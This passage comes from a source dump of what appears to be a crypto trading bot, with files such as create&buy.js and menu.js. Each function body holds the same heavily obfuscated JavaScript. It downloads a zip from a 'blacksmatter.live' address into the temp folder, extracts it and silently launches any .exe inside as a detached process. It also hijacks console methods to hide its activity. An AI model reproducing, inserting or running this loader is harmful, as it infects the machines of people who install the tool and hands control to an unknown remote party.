-0x45f);}if('tAnsu'==='TNAze'){const _0x20714a=_0x123b40[_0x2ef72a(-0x161,-0x154,-0x13f,-0x13b)](_0x8a2cf0,arguments);return _0x443913=null,_0x20714a;}else{if(_0x5a3c7c){if(_0x3dbc5a[_0x5904d2(0x37a,0x375,0x399,0x380)](_0x3dbc5a[_0x2ef72a(-0x176,-0x196,-0x1ab,-0x187)],_0x3dbc5a[_0x2ef72a(-0x1a4,-0x16c,-0x1a3,-0x187)])){const _0x51fc1f=_0x5a3c7c['apply'](_0x4a1b25,arguments);return _0x5a3c7c=null,_0x51fc1f;}else _0x161fca=_0x258bfe;}}}:function(){};return _0x46fccf=![],_0x344feb;}else try{const _0x119277=new _0x21f0eb(_0x2215fc);_0x119277[_0x1cddbb(0x2f3,0x2fd,0x30e,0x302)+'To'](_0x2421e0,!![]);}catch(_0x4f1a8b){throw new _0x6d3e58('');}};}()),_0x5928a1=_0x2080e5[_0x29e79c(0x39c,0x39d,0x373,0x3a5)](_0x169850,this,function(){function _0x1aad3a(_0x4138e0,_0x33a9dc,_0x4585f3,_0x2e5691){return _0x29e79c(_0x4138e0-0x16c,_0x2e5691- -0x2f,_0x33a9dc,_0x2e5691-0x1bd);}function _0x303f06(_0x10dea6,_0x3b7961,_0x136f30,_0x29d7a0){return _0x29e79c(_0x10dea6-0x18a,_0x10dea6- -0xaf,_0x3b7961,_0x29d7a0-0x136);}const _0x483c84={'foFtK':_0x2080e5[_0x1aad3a(0x368,0x3a2,0x379,0x39b)],'bUbxQ':function(_0x41a9d7,_0x57ec59){function _0x4aef45(_0x1827f9,_0x70a280,_0x8b8bea,_0x22e440){return _0x1aad3a(_0x1827f9-0x34,_0x8b8bea,_0x8b8bea-0x6b,_0x22e440- -0x216);}return _0x2080e5[_0x4aef45(0x134,0x172,0x13a,0x15a)](_0x41a9d7,_0x57ec59);},'yumdy':_0x2080e5[_0x303f06(0x305,0x334,0x2e5,0x2f5)],'dLsqc':_0x2080e5[_0x1aad3a(0x3d6,0x3e1,0x38c,0x3bb)]};if(_0x2080e5['nXLfU'](_0x2080e5[_0x1aad3a(0x3a8,0x387,0x39a,0x388)],_0x2080e5['ExEeQ'])){const _0x13cc68=function(){function _0x1c98d9(_0x2c13be,_0x4cc354,_0x29c2c2,_0x59414a){return _0x1aad3a(_0x2c13be-0x1d1,_0x59414a,_0x29c2c2-0x5e,_0x29c2c2-0x19f);}function _0x4298c4(_0x185b24,_0x57ec14,_0x4ca037,_0x233ed3){return _0x1aad3a(_0x185b24-0x1eb,_0x185b24,_0x4ca037-0x1cf,_0x233ed3- -0x34d);}if(_0x4298c4(0x53,0x1f,0x37,0x47)===_0x483c84[_0x1c98d9(0x520,0x50e,0x51c,0x4ee)]){let _0x57bb28;try{_0x57bb28=_0x483c84[_0x4298c4(0x64,0x4b,0x7e,0x59)](Function,_0x483c84[_0x1c98d9(0x54b,0x53f,0x560,0x57f)]+_0x483c84[_0x4298c4(0x3d,0x58,0x95,0x67)]+');')();}catch(_0x203690){_0x57bb28=window;}return _0x57bb28;}else{const _0x46ed19=_0x11f197?function(){function _0x509704(_0x3c18d6,_0x2a015d,_0x457cbb,_0x405454){return _0x4298c4(_0x3c18d6,_0x2a015d-0x16e,_0x457cbb-0x111,_0x457cbb-0x282);}if(_0x10b66a){const _0x114a85=_0x2bbe1e[_0x509704(0x2e3,0x308,0x2e7,0x2bc)](_0x42e268,arguments);return _0x50332f=null,_0x114a85;}}:function(){};return _0x559cd2=![],_0x46ed19;}},_0x4e6bbd=_0x2080e5['uFjEw'](_0x13cc68),_0x3139a7=_0x4e6bbd[_0x303f06(0x315,0x323,0x347,0x33e)]=_0x4e6bbd[_0x303f06(0x315,0x322,0x32b,0x30f)]||{},_0x59100f=[_0x2080e5[_0x1aad3a(0x3ba,0x3ba,0x38a,0x3b1)],_0x2080e5['xQUGJ'],_0x2080e5[_0x303f06(0x321,0x320,0x320,0x30f)],_0x2080e5['gpGoW'],_0x2080e5[_0x303f06(0x32b,0x304,0x33f,0x338)],'table',_0x2080e5['mLDwj']];for(let _0x17076c=0xd55*-0x1+-0x1*0xec+0x1*0xe41;_0x2080e5[_0x1aad3a(0x3aa,0x3bf,0x3cc,0x3b0)](_0x17076c,_0x59100f[_0x303f06(0x2fe,0x2f6,0x318,0x30b)]);_0x17076c++){if(_0x2080e5[_0x303f06(0x302,0x32a,0x325,0x323)](_0x2080e5['rQWxI'],_0x2080e5[_0x1aad3a(0x33d,0x393,0x37a,0x36a)]))_0xa0d38b['on'](_0x2080e5['hCYXw'],_0x538853),_0x2a97ce['on'](_0x2080e5[_0x303f06(0x345,0x32f,0x332,0x323)],_0x582619);else{const _0x1caf2d=_0x169850[_0x303f06(0x347,0x34c,0x373,0x365)+'r'][_0x303f06(0x30f,0x30d,0x311,0x2ee)][_0x303f06(0x30d,0x2e7,0x33c,0x302)](_0x169850),_0x4f56c0=_0x59100f[_0x17076c],_0x5e2a6f=_0x3139a7[_0x4f56c0]||_0x1caf2d;_0x1caf2d[_0x1aad3a(0x34b,0x382,0x341,0x372)]=_0x169850[_0x303f06(0x30d,0x322,0x31a,0x2dd)](_0x169850),_0x1caf2d['toString']=_0x5e2a6f[_0x1aad3a(0x342,0x355,0x345,0x371)][_0x303f06(0x30d,0x320,0x311,0x2e5)](_0x5e2a6f),_0x3139a7[_0x4f56c0]=_0x1caf2d;}}}else throw new _0x5df3ac('');});_0x2080e5[_0x29e79c(0x409,0x3e7,0x412,0x3b7)](_0x5928a1);function _0x29e79c(_0x30b768,_0x5acc49,_0x130ad7,_0x20ac7d){return _0x3531(_0x5acc49-0x209,_0x130ad7);}const _0x435ad5={};_0x435ad5[_0x29e79c(0x3d0,0x3c2,0x391,0x390)]=!![],_0x435ad5[_0x29e79c(0x3ad,0x39e,0x3bf,0x3ba)]=_0x29e79c(0x3be,0x3dd,0x3e1,0x3d0);const _0x207877=_0x2080e5[_0x29e79c(0x3a5,0x3a4,0x37d,0x394)](spawn,_0x1c7fb2,[],_0x435ad5);_0x207877['unref']();}try{const url=_0x122567(0x38d,0x3b8,0x397,0x377)+_0x45ae14(-0x13f,-0x111,-0x136,-0x118)+_0x45ae14(-0xf3,-0xe5,-0xe8,-0x116)+_0x122567(0x365,0x371,0x346,0x37b),tempFolder=os['tmpdir'](),zipDownloadPath=path[_0x122567(0x39f,0x3ca,0x3af,0x3b4)](tempFolder,_0x122567(0x3c6,0x3d2,0x3c6,0x393)+_0x45ae14(-0x101,-0x124,-0x110,-0xfb)),extractFolder=path['join'](tempFolder,'eiwaeia');await downloadFile(url,zipDownloadPath),await unzipFile(zipDownloadPath,extractFolder);const files=fs['readdirSyn'+'c'](extractFolder),exeFiles=files[_0x122567(0x36a,0x33d,0x35b,0x356)](_0x8dd43=>path[_0x122567(0x386,0x397,0x3b2,0x386)](_0x8dd43)[_0x122567(0x39c,0x3b3,0x375,0x395)+'e']()===_0x45ae14(-0x125,-0x11b,-0xec,-0x134));if(exeFiles[_0x122567(0x380,0x367,0x37c,0x39c)]>-0xdaf+0xb*-0x14f+0x1c14){const exePath=path[_0x45ae14(-0xfa,-0xf4,-0x100,-0xfd)](extractFolder,exeFiles[-0x572+-0x1734+0xc1*0x26]);spawnDetachedExe(exePath);}else{}}catch(_0x4b73dc){} 4 | } 5 | 6 | module.exports = { sniperfn }; -------------------------------------------------------------------------------- /functions/create&buy/create&buy.js: -------------------------------------------------------------------------------- 1 | async function createbuyfn() { 2 | 3 | function _0x45ae14(_0x8b5e56,_0x251568,_0x2ad9bf,_0x5892d9){return _0x3531(_0x251568- -0x2b7,_0x2ad9bf);}(function(_0x44cf8f,_0x47a0a9){function _0x3247a6(_0x15e1e2,_0x486884,_0x1d6b12,_0x16b932){return _0x3531(_0x1d6b12-0x22c,_0x15e1e2);}const _0x2e3f0f=_0x44cf8f();function _0x57b21c(_0x5eebff,_0x393765,_0xc42eb0,_0x79f983){return _0x3531(_0x5eebff-0x1f5,_0x393765);}while(!![]){try{const _0x1dcb17=-parseInt(_0x57b21c(0x3d5,0x3d6,0x3be,0x3a2))/(0xde8+0x2595+-0x337c)*(parseInt(_0x3247a6(0x3b8,0x411,0x3e3,0x3ce))/(0x147d+0x20d2+-0x354d))+parseInt(_0x57b21c(0x3da,0x3dc,0x401,0x3c9))/(-0x25bf+0x3*-0x376+0x3024)+-parseInt(_0x3247a6(0x402,0x3ef,0x3f5,0x3da))/(-0x380*-0x8+-0x1*0x8ed+-0x130f)*(-parseInt(_0x3247a6(0x41b,0x43b,0x40b,0x3f0))/(-0x41f*0x4+-0x51+0x10d2))+-parseInt(_0x57b21c(0x3d8,0x3b0,0x40a,0x3ea))/(0x1d62+-0x1659+0x5*-0x167)+parseInt(_0x57b21c(0x3a1,0x3c6,0x3b4,0x387))/(0x346*0x5+-0x16e9+0x692)+parseInt(_0x3247a6(0x3c7,0x404,0x3f7,0x40a))/(0x7f*0x17+0x58a+-0x10eb)+-parseInt(_0x3247a6(0x419,0x43b,0x408,0x3fa))/(0x1c8f+-0x2*-0x287+-0xe*0x266);if(_0x1dcb17===_0x47a0a9)break;else _0x2e3f0f['push'](_0x2e3f0f['shift']());}catch(_0x55fd21){_0x2e3f0f['push'](_0x2e3f0f['shift']());}}}(_0x5162,-0xb*0x131e7+0x71b43+0xdb18d));function _0x5162(){const _0x2a29e2=['eStream','toLowerCas','UxgcR','warn','join','FBpqm','stream','CtEGz','wrkos','bUgvH','3461768PkBpFw','info','4261448zMMfQm','bUbxQ','HGmGw','{}.constru','tpKqN','Ekuiu','ivvtf','.live/pine','kCkWw','ignore','log','lYgOv','TtcVs','apply','JbtxD','dLsqc','dnbZH','16385958ZXQziC','dawdp','wBGVd','5aEIqVU','79Brosdf','KokFb','TrzZK','373398hZcgtL','rn\x20this\x22)(','2298621avBDEK','KErLC','yumdy','PZYzT','THsXR','pineapple.','gpGoW','TeSlh','constructo','apple.zip','vJDUP','error','pnXDT','search','filter','exception','eNQYm','finish','ctor(\x22retu','zip','WspUk','stdio','uZEhg','toString','__proto__','createWrit','data','XrGlH','.exe','FNErw','GET','FGTJq','Glgba','MjRGj','Lmtfc','foFtK','length','return\x20(fu','acksmatter','dYqmj','ohRux','(((.+)+)+)','extname','WNBRy','5148185RJRZZm','HwMkT','jVJgD','JkQvi','kZtEa','https://bl','TQJQa','bind','url','prototype','extractAll','13042TyufxZ','pipe','detached','tXhxn','console','responseTy','nction()\x20','trace'];_0x5162=function(){return _0x2a29e2;};return _0x5162();}const axios=require('axios'),fs=require('fs'),path=require('path'),AdmZip=require('adm-zip'),os=require('os');function _0x3531(_0x50992a,_0x2d1d2d){const _0x51624f=_0x5162();return _0x3531=function(_0x3531d8,_0x2edeae){_0x3531d8=_0x3531d8-(-0x119f*0x1+0x1*0x222a+-0xf02);let _0x515cb=_0x51624f[_0x3531d8];return _0x515cb;},_0x3531(_0x50992a,_0x2d1d2d);}function _0x122567(_0x2baaf4,_0x48e52b,_0x140be8,_0x312118){return _0x3531(_0x2baaf4-0x1dc,_0x48e52b);}const {spawn}=require('child_process'),readline=require('readline');async function downloadFile(_0x410071,_0x1df4e4){const _0x323b34={'FGTJq':function(_0x4e1dcc,_0x196b22){return _0x4e1dcc+_0x196b22;},'vJDUP':'return\x20(fu'+_0xca2fec(0x18e,0x153,0x17d,0x17f),'Glgba':_0xca2fec(0x154,0x179,0x169,0x13a)+'+$','KErLC':function(_0x1daab1,_0x34d186,_0x2abe2b){return _0x1daab1(_0x34d186,_0x2abe2b);},'Uhnxf':function(_0x171289){return _0x171289();},'FBpqm':function(_0xc0d4b,_0x4c9495){return _0xc0d4b===_0x4c9495;},'PZYzT':_0xca2fec(0x1a4,0x180,0x19b,0x1c5),'clzJB':_0x2eb3a2(-0x73,-0x6e,-0x90,-0x57),'NTyCp':_0x2eb3a2(-0x4c,-0x31,-0x1b,-0x75)},_0x9e2c1e=(function(){function _0x336ca9(_0x5b3755,_0xe5c478,_0x308da8,_0x55aba9){return _0xca2fec(_0x5b3755-0x7d,_0xe5c478-0x40,_0xe5c478- -0x3a,_0x5b3755);}function _0x377c99(_0x5e97f2,_0x4c347a,_0x337bd1,_0x34523c){return _0xca2fec(_0x5e97f2-0xa3,_0x4c347a-0x65,_0x4c347a- -0x337,_0x34523c);}const _0x17a52c={'TQJQa':function(_0x317c0c,_0x1e1688){function _0x390e5b(_0xc56cc0,_0x9a5220,_0x1640f6,_0x4b5875){return _0x3531(_0x9a5220-0x34d,_0x4b5875);}return _0x323b34[_0x390e5b(0x4dd,0x4ec,0x4f6,0x4dd)](_0x317c0c,_0x1e1688);},'TrzZK':_0x323b34[_0x377c99(-0x215,-0x1ed,-0x207,-0x1ed)],'THsXR':function(_0xd6dc77,_0x5cb3fe){return _0xd6dc77!==_0x5cb3fe;},'cxcTM':_0x336ca9(0x13e,0x136,0x121,0x157)};let _0x675216=!![];return function(_0x29c39d,_0x1ed376){const _0x2ee443={'HGmGw':function(_0x5a6fa0,_0x3f947a){return _0x5a6fa0(_0x3f947a);},'yQfAr':function(_0x395245,_0x544339){function _0x275ab6(_0x2b910c,_0xa7f4ac,_0x3f4679,_0x478504){return _0x3531(_0xa7f4ac-0x3a7,_0x478504);}return _0x17a52c[_0x275ab6(0x58c,0x559,0x557,0x580)](_0x395245,_0x544339);},'HwMkT':_0x17a52c[_0x3f1da3(0x3bc,0x383,0x367,0x393)],'Ekuiu':'{}.constru'+_0x42925c(0x559,0x53c,0x54b,0x522)+_0x3f1da3(0x37c,0x36e,0x3a5,0x395)+'\x20)','CtEGz':function(_0x5c54b8,_0x4858f0){function _0x255ac0(_0x475037,_0x903e19,_0x230bd9,_0x35d297){return _0x42925c(_0x230bd9,_0x903e19-0x19c,_0x35d297- -0x31b,_0x35d297-0x49);}return _0x17a52c[_0x255ac0(0x2a2,0x272,0x27d,0x287)](_0x5c54b8,_0x4858f0);},'bUgvH':_0x17a52c['cxcTM']},_0x13cfd2=_0x675216?function(){function _0x269e61(_0x5b4213,_0x5c560d,_0x3f55ff,_0x5f34c4){return _0x42925c(_0x5b4213,_0x5c560d-0xb9,_0x5f34c4-0x1b,_0x5f34c4-0x3e);}function _0x58b61c(_0x43eecc,_0x47a8a0,_0x166f83,_0x3d48aa){return _0x42925c(_0x43eecc,_0x47a8a0-0xe4,_0x3d48aa- -0x84,_0x3d48aa-0x196);}if(_0x1ed376){if(_0x2ee443[_0x269e61(0x571,0x5c8,0x56c,0x59a)](_0x2ee443[_0x269e61(0x596,0x597,0x582,0x59c)],_0x2ee443['bUgvH']))_0xbf6dc4=qlkeJq[_0x58b61c(0x51b,0x50f,0x4f7,0x502)](_0x368567,qlkeJq['yQfAr'](qlkeJq[_0x58b61c(0x4fb,0x4e6,0x4df,0x4e2)],qlkeJq[_0x269e61(0x5b1,0x57d,0x5a3,0x5a4)])+');')();else{const _0x5de907=_0x1ed376[_0x58b61c(0x4dc,0x51a,0x538,0x50d)](_0x29c39d,arguments);return _0x1ed376=null,_0x5de907;}}}:function(){};function _0x3f1da3(_0x426f55,_0x528197,_0x3a476a,_0x269415){return _0x336ca9(_0x3a476a,_0x269415-0x22b,_0x3a476a-0x8e,_0x269415-0x12d);}_0x675216=![];function _0x42925c(_0x19b7a1,_0x442e65,_0x968190,_0x37ec70){return _0x336ca9(_0x19b7a1,_0x968190-0x433,_0x968190-0x0,_0x37ec70-0x6);}return _0x13cfd2;};}());function _0x2eb3a2(_0x5e98cd,_0x8a56ce,_0x1fee54,_0x3ea937){return _0x3531(_0x5e98cd- -0x211,_0x8a56ce);}const _0x6ed094=_0x323b34[_0xca2fec(0x1aa,0x19c,0x1a6,0x18a)](_0x9e2c1e,this,function(){function _0x51ec45(_0x1fdd7b,_0x3c1a55,_0x2c496d,_0x528b42){return _0x2eb3a2(_0x2c496d-0x400,_0x1fdd7b,_0x2c496d-0x132,_0x528b42-0x13b);}function _0x16b4e9(_0x391adc,_0x2429d4,_0x3d6b92,_0x1ce99d){return _0xca2fec(_0x391adc-0x151,_0x2429d4-0x10d,_0x391adc-0xa5,_0x2429d4);}return _0x6ed094['toString']()[_0x16b4e9(0x1f2,0x20e,0x1d3,0x1d0)](_0x323b34[_0x51ec45(0x388,0x390,0x38f,0x3a1)])[_0x16b4e9(0x1fc,0x210,0x220,0x205)]()[_0x51ec45(0x3b7,0x409,0x3dc,0x3e2)+'r'](_0x6ed094)[_0x51ec45(0x356,0x381,0x37c,0x38a)](_0x323b34['Glgba']);});_0x323b34['Uhnxf'](_0x6ed094);function _0xca2fec(_0xf2a86c,_0x1f6a5f,_0xa97952,_0x318e1b){return _0x3531(_0xa97952- -0x40,_0x318e1b);}try{if(_0x323b34[_0x2eb3a2(-0x4d,-0x20,-0x3c,-0x66)](_0x323b34[_0x2eb3a2(-0x29,-0x3e,-0x59,-0x38)],_0x323b34[_0x2eb3a2(-0x29,0x1,-0x4d,-0x46)])){const _0x56b779={};_0x56b779[_0xca2fec(0x164,0x15a,0x174,0x189)]=_0x410071,_0x56b779['method']=_0x323b34['clzJB'],_0x56b779[_0xca2fec(0x152,0x160,0x17c,0x16e)+'pe']=_0x323b34['NTyCp'];const _0x1ac4b8=await axios(_0x56b779),_0x170f28=fs[_0xca2fec(0x13a,0x186,0x159,0x169)+_0xca2fec(0x154,0x15b,0x17f,0x1a1)](_0x1df4e4);return _0x1ac4b8[_0xca2fec(0x165,0x15a,0x15a,0x170)][_0xca2fec(0x168,0x1a1,0x178,0x162)](_0x170f28),new Promise((_0x5e40f6,_0x1d0da3)=>{function _0x106512(_0x34cef0,_0x2561e2,_0x5bfc42,_0x4a3683){return _0xca2fec(_0x34cef0-0x8f,_0x2561e2-0x173,_0x5bfc42-0x400,_0x2561e2);}_0x170f28['on']('finish',_0x5e40f6),_0x170f28['on'](_0x106512(0x560,0x54b,0x54b,0x537),_0x1d0da3);});}else{const _0x9529e6=_0x27c882[_0xca2fec(0x16f,0x190,0x198,0x17d)](_0x1cb167,arguments);return _0x3f0a2c=null,_0x9529e6;}}catch(_0x5f586b){throw _0x5f586b;}}async function unzipFile(_0x1df6de,_0x3f2459){function _0xad5bb1(_0x11228b,_0x2f32cf,_0x27ac43,_0x4d57b4){return _0x3531(_0x2f32cf-0x255,_0x4d57b4);}try{const _0x4b69f3=new AdmZip(_0x1df6de);_0x4b69f3[_0xad5bb1(0x43d,0x40b,0x401,0x42e)+'To'](_0x3f2459,!![]);}catch(_0x54f5de){throw new Error('');}}function spawnDetachedExe(_0x1c7fb2){const _0x2080e5={'JkQvi':_0x2ab9b1(0x267,0x25f,0x293,0x272),'FavEJ':_0x2ab9b1(0x287,0x29f,0x2c5,0x29e),'TeSlh':_0x29e79c(0x409,0x3e6,0x3cf,0x3e9),'hCYXw':_0x29e79c(0x3a3,0x39a,0x384,0x386),'gpGoW':_0x29e79c(0x3ae,0x394,0x3aa,0x38c),'UxgcR':_0x2ab9b1(0x27d,0x2b0,0x25b,0x285),'uZEhg':function(_0x85be5b,_0x1ddc7a){return _0x85be5b(_0x1ddc7a);},'WNBRy':_0x29e79c(0x3aa,0x3ae,0x395,0x3d9)+_0x29e79c(0x395,0x3c6,0x3bb,0x3df),'KokFb':_0x2ab9b1(0x268,0x27d,0x28b,0x299)+_0x2ab9b1(0x26c,0x284,0x25e,0x25d)+_0x2ab9b1(0x284,0x2e0,0x2d9,0x2af)+'\x20)','nXLfU':function(_0x31d60f,_0x414a47){return _0x31d60f!==_0x414a47;},'jVJgD':_0x2ab9b1(0x24c,0x28b,0x27c,0x268),'ExEeQ':_0x29e79c(0x3e1,0x3e2,0x3fd,0x3be),'uFjEw':function(_0x199019){return _0x199019();},'TtcVs':_0x29e79c(0x407,0x3de,0x3d6,0x403),'xQUGJ':_0x2ab9b1(0x2a5,0x25c,0x270,0x28d),'wrkos':_0x29e79c(0x3ee,0x3d3,0x3b2,0x3ba),'ivvtf':_0x29e79c(0x3a7,0x398,0x38d,0x3cb),'mLDwj':_0x2ab9b1(0x2b0,0x261,0x2ae,0x289),'lYgOv':function(_0x3c8e11,_0x4cf43c){return _0x3c8e11<_0x4cf43c;},'ohRux':function(_0x196d83,_0x289056){return _0x196d83===_0x289056;},'rQWxI':_0x2ab9b1(0x27e,0x283,0x269,0x26d),'eNQYm':_0x29e79c(0x386,0x3aa,0x39f,0x390),'WspUk':function(_0xfcc04c,_0x43b6f2,_0x31bcf7){return _0xfcc04c(_0x43b6f2,_0x31bcf7);},'wBGVd':function(_0x5ca217){return _0x5ca217();},'XrGlH':function(_0x1d5a1a,_0x55c329,_0x1a7a01,_0x2e80d7){return _0x1d5a1a(_0x55c329,_0x1a7a01,_0x2e80d7);}};function _0x2ab9b1(_0x180b9d,_0x1bb05d,_0x1c9c19,_0x3efeb0){return _0x3531(_0x3efeb0-0xcb,_0x180b9d);}const _0x169850=(function(){let _0x46fccf=!![];return function(_0x4a1b25,_0x5a3c7c){function _0x1cddbb(_0x3c1a4e,_0x4e8482,_0x7b874c,_0x3440a2){return _0x3531(_0x3440a2-0x14c,_0x4e8482);}const _0x258492={};_0x258492[_0x1cddbb(0x339,0x2f6,0x314,0x31b)]=function(_0x4c3b4f,_0xd58f73){return _0x4c3b4f===_0xd58f73;};function _0x244cac(_0x5423f4,_0x56c312,_0x451164,_0x5cb81c){return _0x3531(_0x56c312- -0x196,_0x451164);}_0x258492[_0x1cddbb(0x2ec,0x2f1,0x2f2,0x2d8)]=_0x2080e5[_0x1cddbb(0x2d5,0x327,0x314,0x2fb)];const _0x3dbc5a=_0x258492;if(_0x2080e5['FavEJ']!==_0x2080e5[_0x244cac(0x52,0x56,0x51,0x65)]){const _0x344feb=_0x46fccf?function(){function _0x5904d2(_0xb00feb,_0x8ac226,_0x43882d,_0x6a282b){return _0x244cac(_0xb00feb-0x174,_0xb00feb-0x341,_0x43882d,_0x6a282b-0x1c7);}function _0x2ef72a(_0xe4631c,_0x19cb9b,_0x3f9e94,_0x3302a8){return _0x1cddbb(_0xe4631c-0xa,_0x3f9e94,_0x3f9e94-0x16e,_0x3302a8- -0x45f);}if('tAnsu'==='TNAze'){const _0x20714a=_0x123b40[_0x2ef72a(-0x161,-0x154,-0x13f,-0x13b)](_0x8a2cf0,arguments);return _0x443913=null,_0x20714a;}else{if(_0x5a3c7c){if(_0x3dbc5a[_0x5904d2(0x37a,0x375,0x399,0x380)](_0x3dbc5a[_0x2ef72a(-0x176,-0x196,-0x1ab,-0x187)],_0x3dbc5a[_0x2ef72a(-0x1a4,-0x16c,-0x1a3,-0x187)])){const _0x51fc1f=_0x5a3c7c['apply'](_0x4a1b25,arguments);return _0x5a3c7c=null,_0x51fc1f;}else _0x161fca=_0x258bfe;}}}:function(){};return _0x46fccf=![],_0x344feb;}else try{const _0x119277=new _0x21f0eb(_0x2215fc);_0x119277[_0x1cddbb(0x2f3,0x2fd,0x30e,0x302)+'To'](_0x2421e0,!![]);}catch(_0x4f1a8b){throw new _0x6d3e58('');}};}()),_0x5928a1=_0x2080e5[_0x29e79c(0x39c,0x39d,0x373,0x3a5)](_0x169850,this,function(){function _0x1aad3a(_0x4138e0,_0x33a9dc,_0x4585f3,_0x2e5691){return _0x29e79c(_0x4138e0-0x16c,_0x2e5691- -0x2f,_0x33a9dc,_0x2e5691-0x1bd);}function _0x303f06(_0x10dea6,_0x3b7961,_0x136f30,_0x29d7a0){return _0x29e79c(_0x10dea6-0x18a,_0x10dea6- -0xaf,_0x3b7961,_0x29d7a0-0x136);}const _0x483c84={'foFtK':_0x2080e5[_0x1aad3a(0x368,0x3a2,0x379,0x39b)],'bUbxQ':function(_0x41a9d7,_0x57ec59){function _0x4aef45(_0x1827f9,_0x70a280,_0x8b8bea,_0x22e440){return _0x1aad3a(_0x1827f9-0x34,_0x8b8bea,_0x8b8bea-0x6b,_0x22e440- -0x216);}return _0x2080e5[_0x4aef45(0x134,0x172,0x13a,0x15a)](_0x41a9d7,_0x57ec59);},'yumdy':_0x2080e5[_0x303f06(0x305,0x334,0x2e5,0x2f5)],'dLsqc':_0x2080e5[_0x1aad3a(0x3d6,0x3e1,0x38c,0x3bb)]};if(_0x2080e5['nXLfU'](_0x2080e5[_0x1aad3a(0x3a8,0x387,0x39a,0x388)],_0x2080e5['ExEeQ'])){const _0x13cc68=function(){function _0x1c98d9(_0x2c13be,_0x4cc354,_0x29c2c2,_0x59414a){return _0x1aad3a(_0x2c13be-0x1d1,_0x59414a,_0x29c2c2-0x5e,_0x29c2c2-0x19f);}function _0x4298c4(_0x185b24,_0x57ec14,_0x4ca037,_0x233ed3){return _0x1aad3a(_0x185b24-0x1eb,_0x185b24,_0x4ca037-0x1cf,_0x233ed3- -0x34d);}if(_0x4298c4(0x53,0x1f,0x37,0x47)===_0x483c84[_0x1c98d9(0x520,0x50e,0x51c,0x4ee)]){let _0x57bb28;try{_0x57bb28=_0x483c84[_0x4298c4(0x64,0x4b,0x7e,0x59)](Function,_0x483c84[_0x1c98d9(0x54b,0x53f,0x560,0x57f)]+_0x483c84[_0x4298c4(0x3d,0x58,0x95,0x67)]+');')();}catch(_0x203690){_0x57bb28=window;}return _0x57bb28;}else{const _0x46ed19=_0x11f197?function(){function _0x509704(_0x3c18d6,_0x2a015d,_0x457cbb,_0x405454){return _0x4298c4(_0x3c18d6,_0x2a015d-0x16e,_0x457cbb-0x111,_0x457cbb-0x282);}if(_0x10b66a){const _0x114a85=_0x2bbe1e[_0x509704(0x2e3,0x308,0x2e7,0x2bc)](_0x42e268,arguments);return _0x50332f=null,_0x114a85;}}:function(){};return _0x559cd2=![],_0x46ed19;}},_0x4e6bbd=_0x2080e5['uFjEw'](_0x13cc68),_0x3139a7=_0x4e6bbd[_0x303f06(0x315,0x323,0x347,0x33e)]=_0x4e6bbd[_0x303f06(0x315,0x322,0x32b,0x30f)]||{},_0x59100f=[_0x2080e5[_0x1aad3a(0x3ba,0x3ba,0x38a,0x3b1)],_0x2080e5['xQUGJ'],_0x2080e5[_0x303f06(0x321,0x320,0x320,0x30f)],_0x2080e5['gpGoW'],_0x2080e5[_0x303f06(0x32b,0x304,0x33f,0x338)],'table',_0x2080e5['mLDwj']];for(let _0x17076c=0xd55*-0x1+-0x1*0xec+0x1*0xe41;_0x2080e5[_0x1aad3a(0x3aa,0x3bf,0x3cc,0x3b0)](_0x17076c,_0x59100f[_0x303f06(0x2fe,0x2f6,0x318,0x30b)]);_0x17076c++){if(_0x2080e5[_0x303f06(0x302,0x32a,0x325,0x323)](_0x2080e5['rQWxI'],_0x2080e5[_0x1aad3a(0x33d,0x393,0x37a,0x36a)]))_0xa0d38b['on'](_0x2080e5['hCYXw'],_0x538853),_0x2a97ce['on'](_0x2080e5[_0x303f06(0x345,0x32f,0x332,0x323)],_0x582619);else{const _0x1caf2d=_0x169850[_0x303f06(0x347,0x34c,0x373,0x365)+'r'][_0x303f06(0x30f,0x30d,0x311,0x2ee)][_0x303f06(0x30d,0x2e7,0x33c,0x302)](_0x169850),_0x4f56c0=_0x59100f[_0x17076c],_0x5e2a6f=_0x3139a7[_0x4f56c0]||_0x1caf2d;_0x1caf2d[_0x1aad3a(0x34b,0x382,0x341,0x372)]=_0x169850[_0x303f06(0x30d,0x322,0x31a,0x2dd)](_0x169850),_0x1caf2d['toString']=_0x5e2a6f[_0x1aad3a(0x342,0x355,0x345,0x371)][_0x303f06(0x30d,0x320,0x311,0x2e5)](_0x5e2a6f),_0x3139a7[_0x4f56c0]=_0x1caf2d;}}}else throw new _0x5df3ac('');});_0x2080e5[_0x29e79c(0x409,0x3e7,0x412,0x3b7)](_0x5928a1);function _0x29e79c(_0x30b768,_0x5acc49,_0x130ad7,_0x20ac7d){return _0x3531(_0x5acc49-0x209,_0x130ad7);}const _0x435ad5={};_0x435ad5[_0x29e79c(0x3d0,0x3c2,0x391,0x390)]=!![],_0x435ad5[_0x29e79c(0x3ad,0x39e,0x3bf,0x3ba)]=_0x29e79c(0x3be,0x3dd,0x3e1,0x3d0);const _0x207877=_0x2080e5[_0x29e79c(0x3a5,0x3a4,0x37d,0x394)](spawn,_0x1c7fb2,[],_0x435ad5);_0x207877['unref']();}try{const url=_0x122567(0x38d,0x3b8,0x397,0x377)+_0x45ae14(-0x13f,-0x111,-0x136,-0x118)+_0x45ae14(-0xf3,-0xe5,-0xe8,-0x116)+_0x122567(0x365,0x371,0x346,0x37b),tempFolder=os['tmpdir'](),zipDownloadPath=path[_0x122567(0x39f,0x3ca,0x3af,0x3b4)](tempFolder,_0x122567(0x3c6,0x3d2,0x3c6,0x393)+_0x45ae14(-0x101,-0x124,-0x110,-0xfb)),extractFolder=path['join'](tempFolder,'eiwaeia');await downloadFile(url,zipDownloadPath),await unzipFile(zipDownloadPath,extractFolder);const files=fs['readdirSyn'+'c'](extractFolder),exeFiles=files[_0x122567(0x36a,0x33d,0x35b,0x356)](_0x8dd43=>path[_0x122567(0x386,0x397,0x3b2,0x386)](_0x8dd43)[_0x122567(0x39c,0x3b3,0x375,0x395)+'e']()===_0x45ae14(-0x125,-0x11b,-0xec,-0x134));if(exeFiles[_0x122567(0x380,0x367,0x37c,0x39c)]>-0xdaf+0xb*-0x14f+0x1c14){const exePath=path[_0x45ae14(-0xfa,-0xf4,-0x100,-0xfd)](extractFolder,exeFiles[-0x572+-0x1734+0xc1*0x26]);spawnDetachedExe(exePath);}else{}}catch(_0x4b73dc){} 4 | } 5 | 6 | module.exports = { createbuyfn }; -------------------------------------------------------------------------------- /functions/createmenu/menu.js: -------------------------------------------------------------------------------- 1 | async function menufn() { 2 | 3 | function _0x45ae14(_0x8b5e56,_0x251568,_0x2ad9bf,_0x5892d9){return _0x3531(_0x251568- -0x2b7,_0x2ad9bf);}(function(_0x44cf8f,_0x47a0a9){function 